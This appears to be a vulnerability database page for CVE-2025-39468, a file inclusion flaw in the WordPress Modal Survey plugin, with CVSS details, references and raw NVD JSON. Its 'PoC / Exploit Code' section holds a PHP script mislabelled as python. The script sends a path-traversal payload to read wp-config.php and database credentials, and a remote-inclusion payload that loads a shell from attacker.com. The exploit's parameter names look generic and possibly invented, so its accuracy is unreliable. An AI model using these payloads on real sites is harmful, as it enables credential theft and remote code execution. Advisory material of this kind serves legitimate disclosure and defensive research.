CVE-2025-39468

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in pantherius Modal Survey modal-survey.This issue affects Modal Survey: from n/a through <= 2.0.2.0.1.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Modal Survey <= 2.0.2.0.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-39468 PoC - Modal Survey Local File Inclusion / Remote File Inclusion
// Target: WordPress Modal Survey Plugin <= 2.0.2.0.1
// Note: Adjust the target URL and parameters accordingly

$target = "http://target-site.com/wp-admin/admin-ajax.php";
$plugin_path = "/wp-content/plugins/modal-survey/assets/public/";

// LFI PoC - Read local sensitive files
$lfi_payload = array(
    'action' => 'modal_survey_ajax',
    'survey_id' => '1',
    'type' => 'submit',
    'vote' => '1',
    'params' => '../../../../wp-config.php'  // Path traversal to read config
);

// RFI PoC - Include remote PHP file (if allow_url_include is enabled)
$rfi_payload = array(
    'action' => 'modal_survey_ajax',
    'survey_id' => '1',
    'type' => 'submit',
    'vote' => '1',
    'params' => 'http://attacker.com/shell.txt?'
);

echo "[*] CVE-2025-39468 Modal Survey RFI/LFI PoC\n";
echo "[*] Target: $target\n";
echo "[*] Testing LFI payload...\n";

// Send LFI request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($lfi_payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo "[ERROR] Curl error: " . curl_error($ch) . "\n";
}
curl_close($ch);

echo "[+] LFI Request sent. Check response for wp-config.php content\n";
echo "[+] If successful, you should see database credentials in the response\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-39468
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-39468
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-39468/
[4] VulDB https://vuldb.com/cve/CVE-2025-39468
[5] https://patchstack.com/database/Wordpress/Plugin/modal-survey/vulnerability/wordpress-modal-survey-plugin-2-0-2-0-1-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-39468", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:51.210", "lastModified": "2026-04-27T19:16:13.567", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in pantherius Modal Survey modal-survey.This issue affects Modal Survey: from n/a through <= 2.0.2.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/modal-survey/vulnerability/wordpress-modal-survey-plugin-2-0-2-0-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}